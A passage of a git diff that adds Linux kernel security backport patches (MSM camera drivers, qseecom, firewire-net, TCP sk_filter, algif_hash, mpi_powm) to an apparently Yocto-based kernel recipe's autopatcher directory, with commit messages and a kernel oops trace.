*tmpl, + } else { + /* Once we've had two way comms, always ESTABLISHED. */ + if (test_bit(IPS_SEEN_REPLY_BIT, &ct->status)) { +- pr_debug("nf_conntrack_in: normal packet for %p\n", ct); ++ pr_debug("nf_conntrack_in: normal packet for %pK\n", ct); + *ctinfo = IP_CT_ESTABLISHED; + } else if (test_bit(IPS_EXPECTED_BIT, &ct->status)) { +- pr_debug("nf_conntrack_in: related packet for %p\n", ++ pr_debug("nf_conntrack_in: related packet for %pK\n", + ct); + *ctinfo = IP_CT_RELATED; + } else { +- pr_debug("nf_conntrack_in: new packet for %p\n", ct); ++ pr_debug("nf_conntrack_in: new packet for %pK\n", ct); + *ctinfo = IP_CT_NEW; + } + *set_reply = 0; +@@ -1065,7 +1065,7 @@ void nf_conntrack_alter_reply(struct nf_conn *ct, + /* Should be unconfirmed, so not in hash table yet */ + NF_CT_ASSERT(!nf_ct_is_confirmed(ct)); + +- pr_debug("Altering reply tuple of %p to ", ct); ++ pr_debug("Altering reply tuple of %pK to ", ct); + nf_ct_dump_tuple(newreply); + + ct->tuplehash[IP_CT_DIR_REPLY].tuple = *newreply; +@@ -1640,7 +1640,7 @@ int nf_conntrack_init_net(struct net *net) + goto err_stat; + } + +- net->ct.slabname = kasprintf(GFP_KERNEL, "nf_conntrack_%p", net); ++ net->ct.slabname = kasprintf(GFP_KERNEL, "nf_conntrack_%pK", net); + if (!net->ct.slabname) { + ret = -ENOMEM; + goto err_slabname; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0300-bc77232707df-msm cpp Fix for buffer overflow in cpp.patch b/recipes-kernel/linux/linux-bass/autopatcher/0300-bc77232707df-msm cpp Fix for buffer overflow in cpp.patch new file mode 100644 index 0000000..9088b76 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0300-bc77232707df-msm cpp Fix for buffer overflow in cpp.patch @@ -0,0 +1,33 @@ +From bc77232707df371ff6bab9350ae39676535c0e9d Mon Sep 17 00:00:00 2001 +From: Krishnankutty Kolathappilly +Date: Wed, 16 Nov 2016 18:22:58 -0800 +Subject: msm: cpp: Fix for buffer overflow in cpp. + +Fix for buffer overflow while handling ioctl. +Instead of checking for length boundary, fix checks +for exact length. + +CRs-Fixed: 518731 +Change-Id: I9002f84b219e8b06ae0672d87c2d999e728a75aa +Signed-off-by: Krishnankutty Kolathappilly +--- + drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c | 3 +-- + 1 file changed, 1 insertion(+), 2 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c b/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c +index 022dd6b..0792380 100644 +--- a/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c ++++ b/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c +@@ -2070,8 +2070,7 @@ long msm_cpp_subdev_ioctl(struct v4l2_subdev *sd, + uint32_t identity; + struct msm_cpp_buff_queue_info_t *buff_queue_info; + CPP_DBG("VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO\n"); +- if ((ioctl_ptr->len == 0) || +- (ioctl_ptr->len > sizeof(uint32_t))) { ++ if (ioctl_ptr->len != sizeof(uint32_t)) { + mutex_unlock(&cpp_dev->mutex); + return -EINVAL; + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0301-01dcc0a7cc23-msm camera fix bound check of offset to avoid overread overwrite.patch b/recipes-kernel/linux/linux-bass/autopatcher/0301-01dcc0a7cc23-msm camera fix bound check of offset to avoid overread overwrite.patch new file mode 100644 index 0000000..7a91587 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0301-01dcc0a7cc23-msm camera fix bound check of offset to avoid overread overwrite.patch @@ -0,0 +1,32 @@ +From 01dcc0a7cc23f23a89adf72393d5a27c6d576cd0 Mon Sep 17 00:00:00 2001 +From: Krishnankutty Kolathappilly +Date: Mon, 14 Nov 2016 18:46:12 -0800 +Subject: msm: camera: fix bound check of offset to avoid overread overwrite + +fix bound check of hw_cmd_p->offset in msm_jpeg_hw_exec_cmds +to avoid overread overwrite. + +CRs-Fixed: 1088824 + +Change-Id: Ifaa4b5387d4285ddce16d8e745aa0500c64c568b +Signed-off-by: Krishnankutty Kolathappilly +--- + drivers/media/platform/msm/camera_v2/jpeg_10/msm_jpeg_hw.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/media/platform/msm/camera_v2/jpeg_10/msm_jpeg_hw.c b/drivers/media/platform/msm/camera_v2/jpeg_10/msm_jpeg_hw.c +index d67ab11..9bc37a0 100644 +--- a/drivers/media/platform/msm/camera_v2/jpeg_10/msm_jpeg_hw.c ++++ b/drivers/media/platform/msm/camera_v2/jpeg_10/msm_jpeg_hw.c +@@ -501,7 +501,7 @@ int msm_jpeg_hw_exec_cmds(struct msm_jpeg_hw_cmd *hw_cmd_p, uint32_t m_cmds, + uint32_t data; + + while (m_cmds--) { +- if (hw_cmd_p->offset > max_size) { ++ if (hw_cmd_p->offset >= max_size) { + JPEG_PR_ERR("%s:%d] %d exceed hw region %d\n", __func__, + __LINE__, hw_cmd_p->offset, max_size); + return -EFAULT; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0302-f10373b0d1e8-msm camera ispif Add missing mutex usage in ioctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0302-f10373b0d1e8-msm camera ispif Add missing mutex usage in ioctl.patch new file mode 100644 index 0000000..71b9d13 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0302-f10373b0d1e8-msm camera ispif Add missing mutex usage in ioctl.patch @@ -0,0 +1,35 @@ +From f10373b0d1e8ebd0bf4abafbba85c4b1cfa9e0c1 Mon Sep 17 00:00:00 2001 +From: VijayaKumar T M +Date: Fri, 4 Nov 2016 17:05:50 +0530 +Subject: msm: camera: ispif: Add missing mutex usage in ioctl + +Mutex usage is added into the ispif ioctl path to ensure +these paths are thread safe. + +CRs-Fixed: 1074310 +Change-Id: Id718f83484bc4acf98ade0205328aad6ee306270 +Signed-off-by: VijayaKumar T M +--- + drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c b/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c +index 64e2bc2..4e07d4d 100644 +--- a/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c ++++ b/drivers/media/platform/msm/camera_v2/ispif/msm_ispif.c +@@ -1315,8 +1315,11 @@ static long msm_ispif_subdev_ioctl(struct v4l2_subdev *sd, + case MSM_SD_SHUTDOWN: { + struct ispif_device *ispif = + (struct ispif_device *)v4l2_get_subdevdata(sd); +- if (ispif && ispif->base) ++ if (ispif && ispif->base) { ++ mutex_lock(&ispif->mutex); + msm_ispif_release(ispif); ++ mutex_unlock(&ispif->mutex); ++ } + return 0; + } + default: +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0303-33c9042e3850-msm camera sensor Validate eepromname string length.patch b/recipes-kernel/linux/linux-bass/autopatcher/0303-33c9042e3850-msm camera sensor Validate eepromname string length.patch new file mode 100644 index 0000000..9501aef --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0303-33c9042e3850-msm camera sensor Validate eepromname string length.patch @@ -0,0 +1,65 @@ +From 33c9042e38506b04461fa99e304482bc20923508 Mon Sep 17 00:00:00 2001 +From: guyang +Date: Tue, 6 Dec 2016 18:30:38 +0800 +Subject: msm: camera: sensor: Validate eeprom_name string length + +Validate eeprom_name string length before copying into +the userspace buffer. +If more data than required is copied, userspace has the access to +some of kernel data which is not intended. + +CRs-Fixed: 1090007 +Change-Id: Id40a287e0b1a93cc15d9b02c757fe9f347e285f2 +Signed-off-by: Rajesh Bondugula +Signed-off-by: VijayaKumar T M +Signed-off-by: Yang Guang +--- + .../media/platform/msm/camera_v2/sensor/eeprom/msm_eeprom.c | 11 +++++++++-- + include/media/msm_cam_sensor.h | 2 +- + 2 files changed, 10 insertions(+), 3 deletions(-) + +diff --git a/drivers/media/platform/msm/camera_v2/sensor/eeprom/msm_eeprom.c b/drivers/media/platform/msm/camera_v2/sensor/eeprom/msm_eeprom.c +index 059780d..13ad58e 100644 +--- a/drivers/media/platform/msm/camera_v2/sensor/eeprom/msm_eeprom.c ++++ b/drivers/media/platform/msm/camera_v2/sensor/eeprom/msm_eeprom.c +@@ -140,15 +140,22 @@ static int msm_eeprom_config(struct msm_eeprom_ctrl_t *e_ctrl, + struct msm_eeprom_cfg_data *cdata = + (struct msm_eeprom_cfg_data *)argp; + int rc = 0; ++ size_t length = 0; + + CDBG("%s E\n", __func__); + switch (cdata->cfgtype) { + case CFG_EEPROM_GET_INFO: + CDBG("%s E CFG_EEPROM_GET_INFO\n", __func__); + cdata->is_supported = e_ctrl->is_supported; ++ length = strlen(e_ctrl->eboard_info->eeprom_name) + 1; ++ if (length > MAX_EEPROM_NAME) { ++ pr_err("%s:%d invalid eeprom_name length %d\n", ++ __func__,__LINE__, (int)length); ++ rc = -EINVAL; ++ break; ++ } + memcpy(cdata->cfg.eeprom_name, +- e_ctrl->eboard_info->eeprom_name, +- sizeof(cdata->cfg.eeprom_name)); ++ e_ctrl->eboard_info->eeprom_name, length); + break; + case CFG_EEPROM_GET_CAL_DATA: + CDBG("%s E CFG_EEPROM_GET_CAL_DATA\n", __func__); +diff --git a/include/media/msm_cam_sensor.h b/include/media/msm_cam_sensor.h +index 9497875..7ff89a4 100644 +--- a/include/media/msm_cam_sensor.h ++++ b/include/media/msm_cam_sensor.h +@@ -446,7 +446,7 @@ struct msm_eeprom_cfg_data { + enum eeprom_cfg_type_t cfgtype; + uint8_t is_supported; + union { +- char eeprom_name[MAX_SENSOR_NAME]; ++ char eeprom_name[MAX_EEPROM_NAME]; + struct eeprom_get_t get_data; + struct eeprom_read_t read_data; + struct eeprom_write_t write_data; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0304-0ed0f061bcd7-qseecom remove entry from qseecomregisteredapplist.patch b/recipes-kernel/linux/linux-bass/autopatcher/0304-0ed0f061bcd7-qseecom remove entry from qseecomregisteredapplist.patch new file mode 100644 index 0000000..aebaeb0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0304-0ed0f061bcd7-qseecom remove entry from qseecomregisteredapplist.patch @@ -0,0 +1,56 @@ +From 0ed0f061bcd71940ed65de2ba46e37e709e31471 Mon Sep 17 00:00:00 2001 +From: Mallikarjuna Reddy Amireddy +Date: Tue, 22 Nov 2016 17:24:46 +0530 +Subject: qseecom: remove entry from qseecom_registered_app_list + +In an error handling case, the QSEECOM_IOCTL_LOAD_APP_REQ ioctl +freed the entry for new TA, but didn't removed it from +qseecom_registered_app_list. Make change to remove it. + +Change-Id: Id681fbf3c923027d3db875d506cbe3f971919a8d +Signed-off-by: Zhen Kong +Signed-off-by: Mallikarjuna Reddy Amireddy +--- + drivers/misc/qseecom.c | 11 ++++++++++- + 1 file changed, 10 insertions(+), 1 deletion(-) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index b1c97ba..270fb95 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -1349,6 +1349,7 @@ static int qseecom_load_app(struct qseecom_dev_handle *data, void __user *argp) + struct qseecom_command_scm_resp resp; + struct qseecom_check_app_ireq req; + struct qseecom_load_app_ireq load_req; ++ bool first_time = false; + + /* Copy the relevant information needed for loading the image */ + if (copy_from_user(&load_img_req, +@@ -1395,6 +1396,7 @@ static int qseecom_load_app(struct qseecom_dev_handle *data, void __user *argp) + &qseecom.registered_app_list_lock, flags); + ret = 0; + } else { ++ first_time = true; + pr_warn("App (%s) does'nt exist, loading apps for first time\n", + (char *)(load_img_req.img_name)); + /* Get the handle of the shared fd */ +@@ -1499,8 +1501,15 @@ static int qseecom_load_app(struct qseecom_dev_handle *data, void __user *argp) + load_img_req.app_id = app_id; + if (copy_to_user(argp, &load_img_req, sizeof(load_img_req))) { + pr_err("copy_to_user failed\n"); +- kzfree(entry); + ret = -EFAULT; ++ if (first_time == true) { ++ spin_lock_irqsave( ++ &qseecom.registered_app_list_lock, flags); ++ list_del(&entry->list); ++ spin_unlock_irqrestore( ++ &qseecom.registered_app_list_lock, flags); ++ kzfree(entry); ++ } + } + + loadapp_err: +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0305-1d4353bd493f-firewire net guard against rx buffer overflows.patch b/recipes-kernel/linux/linux-bass/autopatcher/0305-1d4353bd493f-firewire net guard against rx buffer overflows.patch new file mode 100644 index 0000000..f35ba09 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0305-1d4353bd493f-firewire net guard against rx buffer overflows.patch @@ -0,0 +1,133 @@ +From 1d4353bd493f62889983bd712086b09235a44c25 Mon Sep 17 00:00:00 2001 +From: Stefan Richter +Date: Sat, 29 Oct 2016 21:28:18 +0200 +Subject: firewire: net: guard against rx buffer overflows + +commit 667121ace9dbafb368618dbabcf07901c962ddac upstream. + +The IP-over-1394 driver firewire-net lacked input validation when +handling incoming fragmented datagrams. A maliciously formed fragment +with a respectively large datagram_offset would cause a memcpy past the +datagram buffer. + +So, drop any packets carrying a fragment with offset + length larger +than datagram_size. + +In addition, ensure that + - GASP header, unfragmented encapsulation header, or fragment + encapsulation header actually exists before we access it, + - the encapsulated datagram or fragment is of nonzero size. + +Reported-by: Eyal Itkin +Reviewed-by: Eyal Itkin +Fixes: CVE 2016-8633 +Signed-off-by: Stefan Richter +Signed-off-by: Willy Tarreau +--- + drivers/firewire/net.c | 51 ++++++++++++++++++++++++++++++++++---------------- + 1 file changed, 35 insertions(+), 16 deletions(-) + +diff --git a/drivers/firewire/net.c b/drivers/firewire/net.c +index 7bdb6fe63236..70a716eab3f7 100644 +--- a/drivers/firewire/net.c ++++ b/drivers/firewire/net.c +@@ -591,6 +591,9 @@ static int fwnet_incoming_packet(struct fwnet_device *dev, __be32 *buf, int len, + int retval; + u16 ether_type; + ++ if (len <= RFC2374_UNFRAG_HDR_SIZE) ++ return 0; ++ + hdr.w0 = be32_to_cpu(buf[0]); + lf = fwnet_get_hdr_lf(&hdr); + if (lf == RFC2374_HDR_UNFRAG) { +@@ -615,7 +618,12 @@ static int fwnet_incoming_packet(struct fwnet_device *dev, __be32 *buf, int len, + return fwnet_finish_incoming_packet(net, skb, source_node_id, + is_broadcast, ether_type); + } ++ + /* A datagram fragment has been received, now the fun begins. */ ++ ++ if (len <= RFC2374_FRAG_HDR_SIZE) ++ return 0; ++ + hdr.w1 = ntohl(buf[1]); + buf += 2; + len -= RFC2374_FRAG_HDR_SIZE; +@@ -629,6 +637,9 @@ static int fwnet_incoming_packet(struct fwnet_device *dev, __be32 *buf, int len, + datagram_label = fwnet_get_hdr_dgl(&hdr); + dg_size = fwnet_get_hdr_dg_size(&hdr); /* ??? + 1 */ + ++ if (fg_off + len > dg_size) ++ return 0; ++ + spin_lock_irqsave(&dev->lock, flags); + + peer = fwnet_peer_find_by_node_id(dev, source_node_id, generation); +@@ -735,6 +746,22 @@ static void fwnet_receive_packet(struct fw_card *card, struct fw_request *r, + fw_send_response(card, r, rcode); + } + ++static int gasp_source_id(__be32 *p) ++{ ++ return be32_to_cpu(p[0]) >> 16; ++} ++ ++static u32 gasp_specifier_id(__be32 *p) ++{ ++ return (be32_to_cpu(p[0]) & 0xffff) << 8 | ++ (be32_to_cpu(p[1]) & 0xff000000) >> 24; ++} ++ ++static u32 gasp_version(__be32 *p) ++{ ++ return be32_to_cpu(p[1]) & 0xffffff; ++} ++ + static void fwnet_receive_broadcast(struct fw_iso_context *context, + u32 cycle, size_t header_length, void *header, void *data) + { +@@ -744,9 +771,6 @@ static void fwnet_receive_broadcast(struct fw_iso_context *context, + __be32 *buf_ptr; + int retval; + u32 length; +- u16 source_node_id; +- u32 specifier_id; +- u32 ver; + unsigned long offset; + unsigned long flags; + +@@ -763,22 +787,17 @@ static void fwnet_receive_broadcast(struct fw_iso_context *context, + + spin_unlock_irqrestore(&dev->lock, flags); + +- specifier_id = (be32_to_cpu(buf_ptr[0]) & 0xffff) << 8 +- | (be32_to_cpu(buf_ptr[1]) & 0xff000000) >> 24; +- ver = be32_to_cpu(buf_ptr[1]) & 0xffffff; +- source_node_id = be32_to_cpu(buf_ptr[0]) >> 16; +- +- if (specifier_id == IANA_SPECIFIER_ID && +- (ver == RFC2734_SW_VERSION ++ if (length > IEEE1394_GASP_HDR_SIZE && ++ gasp_specifier_id(buf_ptr) == IANA_SPECIFIER_ID && ++ (gasp_version(buf_ptr) == RFC2734_SW_VERSION + #if IS_ENABLED(CONFIG_IPV6) +- || ver == RFC3146_SW_VERSION ++ || gasp_version(buf_ptr) == RFC3146_SW_VERSION + #endif +- )) { +- buf_ptr += 2; +- length -= IEEE1394_GASP_HDR_SIZE; +- fwnet_incoming_packet(dev, buf_ptr, length, source_node_id, ++ )) ++ fwnet_incoming_packet(dev, buf_ptr + 2, ++ length - IEEE1394_GASP_HDR_SIZE, ++ gasp_source_id(buf_ptr), + context->card->generation, true); +- } + + packet.payload_length = dev->rcv_buffer_size; + packet.interrupt = 1; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0306-56325d9fb7b1-tcp take care of truncations done by skfilter.patch b/recipes-kernel/linux/linux-bass/autopatcher/0306-56325d9fb7b1-tcp take care of truncations done by skfilter.patch new file mode 100644 index 0000000..7bb7412 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0306-56325d9fb7b1-tcp take care of truncations done by skfilter.patch @@ -0,0 +1,169 @@ +From 56325d9fb7b138b228577ae99382b70084ab82f3 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Thu, 10 Nov 2016 13:12:35 -0800 +Subject: tcp: take care of truncations done by sk_filter() + +commit ac6e780070e30e4c35bd395acfe9191e6268bdd3 upstream. + +With syzkaller help, Marco Grassi found a bug in TCP stack, +crashing in tcp_collapse() + +Root cause is that sk_filter() can truncate the incoming skb, +but TCP stack was not really expecting this to happen. +It probably was expecting a simple DROP or ACCEPT behavior. + +We first need to make sure no part of TCP header could be removed. +Then we need to adjust TCP_SKB_CB(skb)->end_seq + +Many thanks to syzkaller team and Marco for giving us a reproducer. + +Signed-off-by: Eric Dumazet +Reported-by: Marco Grassi +Reported-by: Vladis Dronov +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + include/linux/filter.h | 6 +++++- + include/net/tcp.h | 1 + + net/core/filter.c | 10 +++++----- + net/ipv4/tcp_ipv4.c | 19 ++++++++++++++++++- + net/ipv6/tcp_ipv6.c | 6 ++++-- + 5 files changed, 33 insertions(+), 9 deletions(-) + +diff --git a/include/linux/filter.h b/include/linux/filter.h +index f65f5a69db8f8..c2bea01d0466f 100644 +--- a/include/linux/filter.h ++++ b/include/linux/filter.h +@@ -36,7 +36,11 @@ static inline unsigned int sk_filter_len(const struct sk_filter *fp) + return fp->len * sizeof(struct sock_filter) + sizeof(*fp); + } + +-extern int sk_filter(struct sock *sk, struct sk_buff *skb); ++int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap); ++static inline int sk_filter(struct sock *sk, struct sk_buff *skb) ++{ ++ return sk_filter_trim_cap(sk, skb, 1); ++} + extern unsigned int sk_run_filter(const struct sk_buff *skb, + const struct sock_filter *filter); + extern int sk_unattached_filter_create(struct sk_filter **pfp, +diff --git a/include/net/tcp.h b/include/net/tcp.h +index 1c5e037f78d14..79cd118d59946 100644 +--- a/include/net/tcp.h ++++ b/include/net/tcp.h +@@ -1029,6 +1029,7 @@ static inline void tcp_prequeue_init(struct tcp_sock *tp) + } + + extern bool tcp_prequeue(struct sock *sk, struct sk_buff *skb); ++int tcp_filter(struct sock *sk, struct sk_buff *skb); + + #undef STATE_TRACE + +diff --git a/net/core/filter.c b/net/core/filter.c +index c6c18d8a2d886..65f2a65b5333d 100644 +--- a/net/core/filter.c ++++ b/net/core/filter.c +@@ -67,9 +67,10 @@ static inline void *load_pointer(const struct sk_buff *skb, int k, + } + + /** +- * sk_filter - run a packet through a socket filter ++ * sk_filter_trim_cap - run a packet through a socket filter + * @sk: sock associated with &sk_buff + * @skb: buffer to filter ++ * @cap: limit on how short the eBPF program may trim the packet + * + * Run the filter code and then cut skb->data to correct size returned by + * sk_run_filter. If pkt_len is 0 we toss packet. If skb->len is smaller +@@ -78,7 +79,7 @@ static inline void *load_pointer(const struct sk_buff *skb, int k, + * be accepted or -EPERM if the packet should be tossed. + * + */ +-int sk_filter(struct sock *sk, struct sk_buff *skb) ++int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap) + { + int err; + struct sk_filter *filter; +@@ -99,14 +100,13 @@ int sk_filter(struct sock *sk, struct sk_buff *skb) + filter = rcu_dereference(sk->sk_filter); + if (filter) { + unsigned int pkt_len = SK_RUN_FILTER(filter, skb); +- +- err = pkt_len ? pskb_trim(skb, pkt_len) : -EPERM; ++ err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM; + } + rcu_read_unlock(); + + return err; + } +-EXPORT_SYMBOL(sk_filter); ++EXPORT_SYMBOL(sk_filter_trim_cap); + + /** + * sk_run_filter - run a filter on a socket +diff --git a/net/ipv4/tcp_ipv4.c b/net/ipv4/tcp_ipv4.c +index 5401fbf2df8db..6504a085ca600 100644 +--- a/net/ipv4/tcp_ipv4.c ++++ b/net/ipv4/tcp_ipv4.c +@@ -1959,6 +1959,21 @@ bool tcp_prequeue(struct sock *sk, struct sk_buff *skb) + } + EXPORT_SYMBOL(tcp_prequeue); + ++int tcp_filter(struct sock *sk, struct sk_buff *skb) ++{ ++ struct tcphdr *th = (struct tcphdr *)skb->data; ++ unsigned int eaten = skb->len; ++ int err; ++ ++ err = sk_filter_trim_cap(sk, skb, th->doff * 4); ++ if (!err) { ++ eaten -= skb->len; ++ TCP_SKB_CB(skb)->end_seq -= eaten; ++ } ++ return err; ++} ++EXPORT_SYMBOL(tcp_filter); ++ + /* + * From tcp_input.c + */ +@@ -2021,8 +2036,10 @@ process: + goto discard_and_relse; + nf_reset(skb); + +- if (sk_filter(sk, skb)) ++ if (tcp_filter(sk, skb)) + goto discard_and_relse; ++ th = (const struct tcphdr *)skb->data; ++ iph = ip_hdr(skb); + + skb->dev = NULL; + +diff --git a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c +index d8237383b40a1..70b10ed169ae2 100644 +--- a/net/ipv6/tcp_ipv6.c ++++ b/net/ipv6/tcp_ipv6.c +@@ -1330,7 +1330,7 @@ static int tcp_v6_do_rcv(struct sock *sk, struct sk_buff *skb) + goto discard; + #endif + +- if (sk_filter(sk, skb)) ++ if (tcp_filter(sk, skb)) + goto discard; + + /* +@@ -1501,8 +1501,10 @@ process: + if (!xfrm6_policy_check(sk, XFRM_POLICY_IN, skb)) + goto discard_and_relse; + +- if (sk_filter(sk, skb)) ++ if (tcp_filter(sk, skb)) + goto discard_and_relse; ++ th = (const struct tcphdr *)skb->data; ++ hdr = ipv6_hdr(skb); + + skb->dev = NULL; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0307-daaf3fd91441-crypto algifhash Only export and import on sockets with data.patch b/recipes-kernel/linux/linux-bass/autopatcher/0307-daaf3fd91441-crypto algifhash Only export and import on sockets with data.patch new file mode 100644 index 0000000..8e0116e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0307-daaf3fd91441-crypto algifhash Only export and import on sockets with data.patch @@ -0,0 +1,56 @@ +From daaf3fd914414d67fd656a39c0f1575c07f02985 Mon Sep 17 00:00:00 2001 +From: Herbert Xu +Date: Sun, 1 Nov 2015 17:11:19 +0800 +Subject: crypto: algif_hash - Only export and import on sockets with data + +commit 4afa5f9617927453ac04b24b584f6c718dfb4f45 upstream. + +The hash_accept call fails to work on sockets that have not received +any data. For some algorithm implementations it may cause crashes. + +This patch fixes this by ensuring that we only export and import on +sockets that have received data. + +Reported-by: Harsh Jain +Signed-off-by: Herbert Xu +Tested-by: Stephan Mueller +Signed-off-by: Greg Kroah-Hartman +--- + crypto/algif_hash.c | 12 ++++++++++-- + 1 file changed, 10 insertions(+), 2 deletions(-) + +diff --git a/crypto/algif_hash.c b/crypto/algif_hash.c +index 850246206b12..a68b56a368a8 100644 +--- a/crypto/algif_hash.c ++++ b/crypto/algif_hash.c +@@ -192,9 +192,14 @@ static int hash_accept(struct socket *sock, struct socket *newsock, int flags) + struct sock *sk2; + struct alg_sock *ask2; + struct hash_ctx *ctx2; ++ bool more; + int err; + +- err = crypto_ahash_export(req, state); ++ lock_sock(sk); ++ more = ctx->more; ++ err = more ? crypto_ahash_export(req, state) : 0; ++ release_sock(sk); ++ + if (err) + return err; + +@@ -205,7 +210,10 @@ static int hash_accept(struct socket *sock, struct socket *newsock, int flags) + sk2 = newsock->sk; + ask2 = alg_sk(sk2); + ctx2 = ask2->private; +- ctx2->more = 1; ++ ctx2->more = more; ++ ++ if (!more) ++ return err; + + err = crypto_ahash_import(&ctx2->req, state); + if (err) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0308-940d1175de7c-mpi Fix NULL ptr dereference in mpipowm ver 3.patch b/recipes-kernel/linux/linux-bass/autopatcher/0308-940d1175de7c-mpi Fix NULL ptr dereference in mpipowm ver 3.patch new file mode 100644 index 0000000..f7c94f2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0308-940d1175de7c-mpi Fix NULL ptr dereference in mpipowm ver 3.patch @@ -0,0 +1,102 @@ +From 940d1175de7c31e8e2ac20489b7d2df4963bb4da Mon Sep 17 00:00:00 2001 +From: Andrey Ryabinin +Date: Thu, 24 Nov 2016 13:23:10 +0000 +Subject: mpi: Fix NULL ptr dereference in mpi_powm() [ver #3] + +commit f5527fffff3f002b0a6b376163613b82f69de073 upstream. + +This fixes CVE-2016-8650. + +If mpi_powm() is given a zero exponent, it wants to immediately return +either 1 or 0, depending on the modulus. However, if the result was +initalised with zero limb space, no limbs space is allocated and a +NULL-pointer exception ensues. + +Fix this by allocating a minimal amount of limb space for the result when +the 0-exponent case when the result is 1 and not touching the limb space +when the result is 0. + +This affects the use of RSA keys and X.509 certificates that carry them. + +BUG: unable to handle kernel NULL pointer dereference at (null) +IP: [] mpi_powm+0x32/0x7e6 +PGD 0 +Oops: 0002 [#1] SMP +Modules linked in: +CPU: 3 PID: 3014 Comm: keyctl Not tainted 4.9.0-rc6-fscache+ #278 +Hardware name: ASUS All Series/H97-PLUS, BIOS 2306 10/09/2014 +task: ffff8804011944c0 task.stack: ffff880401294000 +RIP: 0010:[] [] mpi_powm+0x32/0x7e6 +RSP: 0018:ffff880401297ad8 EFLAGS: 00010212 +RAX: 0000000000000000 RBX: ffff88040868bec0 RCX: ffff88040868bba0 +RDX: ffff88040868b260 RSI: ffff88040868bec0 RDI: ffff88040868bee0 +RBP: ffff880401297ba8 R08: 0000000000000000 R09: 0000000000000000 +R10: 0000000000000047 R11: ffffffff8183b210 R12: 0000000000000000 +R13: ffff8804087c7600 R14: 000000000000001f R15: ffff880401297c50 +FS: 00007f7a7918c700(0000) GS:ffff88041fb80000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +CR2: 0000000000000000 CR3: 0000000401250000 CR4: 00000000001406e0 +Stack: + ffff88040868bec0 0000000000000020 ffff880401297b00 ffffffff81376cd4 + 0000000000000100 ffff880401297b10 ffffffff81376d12 ffff880401297b30 + ffffffff81376f37 0000000000000100 0000000000000000 ffff880401297ba8 +Call Trace: + [] ? __sg_page_iter_next+0x43/0x66 + [] ? sg_miter_get_next_page+0x1b/0x5d + [] ? sg_miter_next+0x17/0xbd + [] ? mpi_read_raw_from_sgl+0xf2/0x146 + [] rsa_verify+0x9d/0xee + [] ? pkcs1pad_sg_set_buf+0x2e/0xbb + [] pkcs1pad_verify+0xc0/0xe1 + [] public_key_verify_signature+0x1b0/0x228 + [] x509_check_for_self_signed+0xa1/0xc4 + [] x509_cert_parse+0x167/0x1a1 + [] x509_key_preparse+0x21/0x1a1 + [] asymmetric_key_preparse+0x34/0x61 + [] key_create_or_update+0x145/0x399 + [] SyS_add_key+0x154/0x19e + [] do_syscall_64+0x80/0x191 + [] entry_SYSCALL64_slow_path+0x25/0x25 +Code: 56 41 55 41 54 53 48 81 ec a8 00 00 00 44 8b 71 04 8b 42 04 4c 8b 67 18 45 85 f6 89 45 80 0f 84 b4 06 00 00 85 c0 75 2f 41 ff ce <49> c7 04 24 01 00 00 00 b0 01 75 0b 48 8b 41 18 48 83 38 01 0f +RIP [] mpi_powm+0x32/0x7e6 + RSP +CR2: 0000000000000000 +---[ end trace d82015255d4a5d8d ]--- + +Basically, this is a backport of a libgcrypt patch: + + http://git.gnupg.org/cgi-bin/gitweb.cgi?p=libgcrypt.git;a=patch;h=6e1adb05d290aeeb1c230c763970695f4a538526 + +Fixes: cdec9cb5167a ("crypto: GnuPG based MPI lib - source files (part 1)") +Signed-off-by: Andrey Ryabinin +Signed-off-by: David Howells +cc: Dmitry Kasatkin +cc: linux-ima-devel@lists.sourceforge.net +Signed-off-by: James Morris +Signed-off-by: Willy Tarreau +--- + lib/mpi/mpi-pow.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/lib/mpi/mpi-pow.c b/lib/mpi/mpi-pow.c +index 